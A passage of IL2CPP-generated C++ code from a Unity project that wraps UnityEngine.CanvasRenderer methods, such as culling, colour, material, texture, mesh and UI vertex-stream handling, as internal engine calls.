IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool CanvasRenderer_get_cull_m3BBDA319F68D6182BF4451812A7ABC3E862356DA (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method)
{
typedef bool (*CanvasRenderer_get_cull_m3BBDA319F68D6182BF4451812A7ABC3E862356DA_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *);
static CanvasRenderer_get_cull_m3BBDA319F68D6182BF4451812A7ABC3E862356DA_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_get_cull_m3BBDA319F68D6182BF4451812A7ABC3E862356DA_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_cull()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.CanvasRenderer::set_cull(System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_set_cull_m71618AE8E7F24B7B7B04F75641295ECD84F9AFA1 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, bool ___value0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_set_cull_m71618AE8E7F24B7B7B04F75641295ECD84F9AFA1_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, bool);
static CanvasRenderer_set_cull_m71618AE8E7F24B7B7B04F75641295ECD84F9AFA1_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_set_cull_m71618AE8E7F24B7B7B04F75641295ECD84F9AFA1_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_cull(System.Boolean)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Void UnityEngine.CanvasRenderer::SetColor(UnityEngine.Color)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetColor_mD19F4B2314FD9820902AF6ED1F0392FC78447C06 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 ___color0, const RuntimeMethod* method)
{
{
CanvasRenderer_SetColor_Injected_mA64D7935C130EDFCB8D9C1DF27F67C8EF6F36CCE(__this, (Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 *)(&___color0), /*hidden argument*/NULL);
return;
}
}
// UnityEngine.Color UnityEngine.CanvasRenderer::GetColor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 CanvasRenderer_GetColor_m841EC074805A87FBD6D3EF7A17BEA2476AEBA31D (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method)
{
Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 V_0;
memset((&V_0), 0, sizeof(V_0));
{
CanvasRenderer_GetColor_Injected_mD90AE649D248DA886C8DB085FC27B7134399F68A(__this, (Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 *)(&V_0), /*hidden argument*/NULL);
Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 L_0 = V_0;
return L_0;
}
}
// System.Void UnityEngine.CanvasRenderer::EnableRectClipping(UnityEngine.Rect)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_EnableRectClipping_m7C409436632B57EEC761606E22408355D8197397 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Rect_t35B976DE901B5423C11705E156938EA27AB402CE ___rect0, const RuntimeMethod* method)
{
{
CanvasRenderer_EnableRectClipping_Injected_mB430FAA285D77D2EA776CA90D3B1179DE637B20D(__this, (Rect_t35B976DE901B5423C11705E156938EA27AB402CE *)(&___rect0), /*hidden argument*/NULL);
return;
}
}
// System.Void UnityEngine.CanvasRenderer::DisableRectClipping()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_DisableRectClipping_m67C4FF4EF6888518AC4B9B8CE256DC761DF08D42 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_DisableRectClipping_m67C4FF4EF6888518AC4B9B8CE256DC761DF08D42_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *);
static CanvasRenderer_DisableRectClipping_m67C4FF4EF6888518AC4B9B8CE256DC761DF08D42_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_DisableRectClipping_m67C4FF4EF6888518AC4B9B8CE256DC761DF08D42_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::DisableRectClipping()");
_il2cpp_icall_func(__this);
}
// System.Void UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetMaterial_m9851A87FA12E2CD1321BB971953E899292EC4707 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * ___material0, int32_t ___index1, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SetMaterial_m9851A87FA12E2CD1321BB971953E899292EC4707_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 *, int32_t);
static CanvasRenderer_SetMaterial_m9851A87FA12E2CD1321BB971953E899292EC4707_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SetMaterial_m9851A87FA12E2CD1321BB971953E899292EC4707_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,System.Int32)");
_il2cpp_icall_func(__this, ___material0, ___index1);
}
// System.Void UnityEngine.CanvasRenderer::SetPopMaterial(UnityEngine.Material,System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetPopMaterial_m4772792D80E04FF3B3F5BA0B65AF94F3BE326A2C (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * ___material0, int32_t ___index1, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SetPopMaterial_m4772792D80E04FF3B3F5BA0B65AF94F3BE326A2C_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 *, int32_t);
static CanvasRenderer_SetPopMaterial_m4772792D80E04FF3B3F5BA0B65AF94F3BE326A2C_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SetPopMaterial_m4772792D80E04FF3B3F5BA0B65AF94F3BE326A2C_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetPopMaterial(UnityEngine.Material,System.Int32)");
_il2cpp_icall_func(__this, ___material0, ___index1);
}
// System.Void UnityEngine.CanvasRenderer::SetTexture(UnityEngine.Texture)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetTexture_m406C073585AF48FD2A880D73419F6E1069BEEA84 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 * ___texture0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SetTexture_m406C073585AF48FD2A880D73419F6E1069BEEA84_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 *);
static CanvasRenderer_SetTexture_m406C073585AF48FD2A880D73419F6E1069BEEA84_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SetTexture_m406C073585AF48FD2A880D73419F6E1069BEEA84_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetTexture(UnityEngine.Texture)");
_il2cpp_icall_func(__this, ___texture0);
}
// System.Void UnityEngine.CanvasRenderer::SetAlphaTexture(UnityEngine.Texture)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetAlphaTexture_m0DF53B597582D8661411DF84ABF25F995540F34E (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 * ___texture0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SetAlphaTexture_m0DF53B597582D8661411DF84ABF25F995540F34E_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 *);
static CanvasRenderer_SetAlphaTexture_m0DF53B597582D8661411DF84ABF25F995540F34E_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SetAlphaTexture_m0DF53B597582D8661411DF84ABF25F995540F34E_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetAlphaTexture(UnityEngine.Texture)");
_il2cpp_icall_func(__this, ___texture0);
}
// System.Void UnityEngine.CanvasRenderer::SetMesh(UnityEngine.Mesh)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetMesh_mC87C841A52339C33E5B1C644C70FC9CC9C560988 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Mesh_t6106B8D8E4C691321581AB0445552EC78B947B8C * ___mesh0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SetMesh_mC87C841A52339C33E5B1C644C70FC9CC9C560988_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Mesh_t6106B8D8E4C691321581AB0445552EC78B947B8C *);
static CanvasRenderer_SetMesh_mC87C841A52339C33E5B1C644C70FC9CC9C560988_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SetMesh_mC87C841A52339C33E5B1C644C70FC9CC9C560988_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetMesh(UnityEngine.Mesh)");
_il2cpp_icall_func(__this, ___mesh0);
}
// System.Void UnityEngine.CanvasRenderer::Clear()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_Clear_m8D621D571EEE6C2609F18ADF888008273A5A29AC (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_Clear_m8D621D571EEE6C2609F18ADF888008273A5A29AC_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *);
static CanvasRenderer_Clear_m8D621D571EEE6C2609F18ADF888008273A5A29AC_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_Clear_m8D621D571EEE6C2609F18ADF888008273A5A29AC_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::Clear()");
_il2cpp_icall_func(__this);
}
// System.Void UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,UnityEngine.Texture)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetMaterial_mD407C670DBA743283F32581586B5DD51272B08C7 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * ___material0, Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 * ___texture1, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (CanvasRenderer_SetMaterial_mD407C670DBA743283F32581586B5DD51272B08C7_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
{
int32_t L_0 = CanvasRenderer_get_materialCount_m5C0C1E7CC3DAE4B14E29A36E9890F92C0DACC3F5(__this, /*hidden argument*/NULL);
IL2CPP_RUNTIME_CLASS_INIT(Math_tFB388E53C7FDC6FCCF9A19ABF5A4E521FBD52E19_il2cpp_TypeInfo_var);
int32_t L_1 = Math_Max_mA99E48BB021F2E4B62D4EA9F52EA6928EED618A2(1, L_0, /*hidden argument*/NULL);
CanvasRenderer_set_materialCount_m124AD7592DD6078E097C9FD6CBC5676341DBCA9E(__this, L_1, /*hidden argument*/NULL);
Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * L_2 = ___material0;
CanvasRenderer_SetMaterial_m9851A87FA12E2CD1321BB971953E899292EC4707(__this, L_2, 0, /*hidden argument*/NULL);
Texture_t387FE83BB848001FD06B14707AEA6D5A0F6A95F4 * L_3 = ___texture1;
CanvasRenderer_SetTexture_m406C073585AF48FD2A880D73419F6E1069BEEA84(__this, L_3, /*hidden argument*/NULL);
return;
}
}
// System.Void UnityEngine.CanvasRenderer::SplitUIVertexStreams(System.Collections.Generic.List`1<UnityEngine.UIVertex>,System.Collections.Generic.List`1<UnityEngine.Vector3>,System.Collections.Generic.List`1<UnityEngine.Color32>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector3>,System.Collections.Generic.List`1<UnityEngine.Vector4>,System.Collections.Generic.List`1<System.Int32>)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SplitUIVertexStreams_m6398634C55BA494F2D2AE13FC3878E698330AB9F (List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 * ___verts0, List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * ___positions1, List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5 * ___colors2, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv0S3, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv1S4, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv2S5, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv3S6, List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * ___normals7, List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955 * ___tangents8, List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226 * ___indices9, const RuntimeMethod* method)
{
{
List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 * L_0 = ___verts0;
List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * L_1 = ___positions1;
List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5 * L_2 = ___colors2;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_3 = ___uv0S3;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_4 = ___uv1S4;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_5 = ___uv2S5;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_6 = ___uv3S6;
List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * L_7 = ___normals7;
List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955 * L_8 = ___tangents8;
CanvasRenderer_SplitUIVertexStreamsInternal_m845727DA732141F79E070AABA87C4468C3D9AFE4(L_0, L_1, L_2, L_3, L_4, L_5, L_6, L_7, L_8, /*hidden argument*/NULL);
List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 * L_9 = ___verts0;
List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226 * L_10 = ___indices9;
CanvasRenderer_SplitIndicesStreamsInternal_mE13C66217A4A26239D601CC5FDD1AB8B302D487B(L_9, L_10, /*hidden argument*/NULL);
return;
}
}
// System.Void UnityEngine.CanvasRenderer::CreateUIVertexStream(System.Collections.Generic.List`1<UnityEngine.UIVertex>,System.Collections.Generic.List`1<UnityEngine.Vector3>,System.Collections.Generic.List`1<UnityEngine.Color32>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector3>,System.Collections.Generic.List`1<UnityEngine.Vector4>,System.Collections.Generic.List`1<System.Int32>)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_CreateUIVertexStream_m1826F08D237884FD9817F2E0251FF0F813A2C1CA (List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 * ___verts0, List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * ___positions1, List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5 * ___colors2, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv0S3, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv1S4, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv2S5, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv3S6, List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * ___normals7, List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955 * ___tangents8, List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226 * ___indices9, const RuntimeMethod* method)
{
{
List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 * L_0 = ___verts0;
List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * L_1 = ___positions1;
List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5 * L_2 = ___colors2;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_3 = ___uv0S3;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_4 = ___uv1S4;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_5 = ___uv2S5;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_6 = ___uv3S6;
List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * L_7 = ___normals7;
List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955 * L_8 = ___tangents8;
List_1_tE1526161A558A17A39A8B69D8EEF3801393B6226 * L_9 = ___indices9;
CanvasRenderer_CreateUIVertexStreamInternal_m5BC57F4F9325EC398216AEA1E53CC21E5C6CA920(L_0, L_1, L_2, L_3, L_4, L_5, L_6, L_7, L_8, L_9, /*hidden argument*/NULL);
return;
}
}
// System.Void UnityEngine.CanvasRenderer::AddUIVertexStream(System.Collections.Generic.List`1<UnityEngine.UIVertex>,System.Collections.Generic.List`1<UnityEngine.Vector3>,System.Collections.Generic.List`1<UnityEngine.Color32>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector2>,System.Collections.Generic.List`1<UnityEngine.Vector3>,System.Collections.Generic.List`1<UnityEngine.Vector4>)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_AddUIVertexStream_m58722DF8AED39532C201A0A79A84F10BEC9C7EAB (List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 * ___verts0, List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * ___positions1, List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5 * ___colors2, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv0S3, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv1S4, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv2S5, List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * ___uv3S6, List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * ___normals7, List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955 * ___tangents8, const RuntimeMethod* method)
{
{
List_1_t4CE16E1B496C9FE941554BB47727DFDD7C3D9554 * L_0 = ___verts0;
List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * L_1 = ___positions1;
List_1_t749ADA5233D9B421293A000DCB83608A24C3D5D5 * L_2 = ___colors2;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_3 = ___uv0S3;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_4 = ___uv1S4;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_5 = ___uv2S5;
List_1_t0737D51EB43DAAA1BDC9C2B83B393A4B9B9BE8EB * L_6 = ___uv3S6;
List_1_tFCCBEDAA56D8F7598520FB136A9F8D713033D6B5 * L_7 = ___normals7;
List_1_tFF4005B40E5BA433006DA11C56DB086B1E2FC955 * L_8 = ___tangents8;
CanvasRenderer_SplitUIVertexStreamsInternal_m845727DA732141F79E070AABA87C4468C3D9AFE4(L_0, L_1, L_2, L_3, L_4, L_5, L_6, L_7, L_8, /*hidden argument*/NULL);
return;
}
}
// System.Void UnityEngine.CanvasRenderer::SplitIndicesStreamsInternal(System.Object,System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SplitIndicesStreamsInternal_mE13C66217A4A26239D601CC5FDD1AB8B302D487B (RuntimeObject * ___verts0, RuntimeObject * ___indices1, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SplitIndicesStreamsInternal_mE13C66217A4A26239D601CC5FDD1AB8B302D487B_ftn) (RuntimeObject *, RuntimeObject *);
static CanvasRenderer_SplitIndicesStreamsInternal_mE13C66217A4A26239D601CC5FDD1AB8B302D487B_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SplitIndicesStreamsInternal_mE13C66217A4A26239D601CC5FDD1AB8B302D487B_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SplitIndicesStreamsInternal(System.Object,System.Object)");
_il2cpp_icall_func(___verts0, ___indices1);
}
// System.Void UnityEngine.CanvasRenderer::SplitUIVertexStreamsInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SplitUIVertexStreamsInternal_m845727DA732141F79E070AABA87C4468C3D9AFE4 (RuntimeObject * ___verts0, RuntimeObject * ___positions1, RuntimeObject * ___colors2, RuntimeObject * ___uv0S3, RuntimeObject * ___uv1S4, RuntimeObject * ___uv2S5, RuntimeObject * ___uv3S6, RuntimeObject * ___normals7, RuntimeObject * ___tangents8, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SplitUIVertexStreamsInternal_m845727DA732141F79E070AABA87C4468C3D9AFE4_ftn) (RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *);
static CanvasRenderer_SplitUIVertexStreamsInternal_m845727DA732141F79E070AABA87C4468C3D9AFE4_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SplitUIVertexStreamsInternal_m845727DA732141F79E070AABA87C4468C3D9AFE4_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SplitUIVertexStreamsInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)");
_il2cpp_icall_func(___verts0, ___positions1, ___colors2, ___uv0S3, ___uv1S4, ___uv2S5, ___uv3S6, ___normals7, ___tangents8);
}
// System.Void UnityEngine.CanvasRenderer::CreateUIVertexStreamInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_CreateUIVertexStreamInternal_m5BC57F4F9325EC398216AEA1E53CC21E5C6CA920 (RuntimeObject * ___verts0, RuntimeObject * ___positions1, RuntimeObject * ___colors2, RuntimeObject * ___uv0S3, RuntimeObject * ___uv1S4, RuntimeObject * ___uv2S5, RuntimeObject * ___uv3S6, RuntimeObject * ___normals7, RuntimeObject * ___tangents8, RuntimeObject * ___indices9, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_CreateUIVertexStreamInternal_m5BC57F4F9325EC398216AEA1E53CC21E5C6CA920_ftn) (RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *, RuntimeObject *);
static CanvasRenderer_CreateUIVertexStreamInternal_m5BC57F4F9325EC398216AEA1E53CC21E5C6CA920_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_CreateUIVertexStreamInternal_m5BC57F4F9325EC398216AEA1E53CC21E5C6CA920_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::CreateUIVertexStreamInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)");
_il2cpp_icall_func(___verts0, ___positions1, ___colors2, ___uv0S3, ___uv1S4, ___uv2S5, ___uv3S6, ___normals7, ___tangents8, ___indices9);
}
// System.Void UnityEngine.CanvasRenderer::SetColor_Injected(UnityEngine.Color&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_SetColor_Injected_mA64D7935C130EDFCB8D9C1DF27F67C8EF6F36CCE (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 * ___color0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_SetColor_Injected_mA64D7935C130EDFCB8D9C1DF27F67C8EF6F36CCE_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 *);
static CanvasRenderer_SetColor_Injected_mA64D7935C130EDFCB8D9C1DF27F67C8EF6F36CCE_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_SetColor_Injected_mA64D7935C130EDFCB8D9C1DF27F67C8EF6F36CCE_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetColor_Injected(UnityEngine.Color&)");
_il2cpp_icall_func(__this, ___color0);
}
// System.Void UnityEngine.CanvasRenderer::GetColor_Injected(UnityEngine.Color&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_GetColor_Injected_mD90AE649D248DA886C8DB085FC27B7134399F68A (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 * ___ret0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_GetColor_Injected_mD90AE649D248DA886C8DB085FC27B7134399F68A_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Color_t119BCA590009762C7223FDD3AF9706653AC84ED2 *);
static CanvasRenderer_GetColor_Injected_mD90AE649D248DA886C8DB085FC27B7134399F68A_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_GetColor_Injected_mD90AE649D248DA886C8DB085FC27B7134399F68A_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::GetColor_Injected(UnityEngine.Color&)");
_il2cpp_icall_func(__this, ___ret0);
}
// System.Void UnityEngine.CanvasRenderer::EnableRectClipping_Injected(UnityEngine.Rect&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_EnableRectClipping_Injected_mB430FAA285D77D2EA776CA90D3B1179DE637B20D (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, Rect_t35B976DE901B5423C11705E156938EA27AB402CE * ___rect0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_EnableRectClipping_Injected_mB430FAA285D77D2EA776CA90D3B1179DE637B20D_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, Rect_t35B976DE901B5423C11705E156938EA27AB402CE *);
static CanvasRenderer_EnableRectClipping_Injected_mB430FAA285D77D2EA776CA90D3B1179DE637B20D_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_EnableRectClipping_Injected_mB430FAA285D77D2EA776CA90D3B1179DE637B20D_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::EnableRectClipping_Injected(UnityEngine.Rect&)");
_il2cpp_icall_func(__this, ___rect0);
}
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
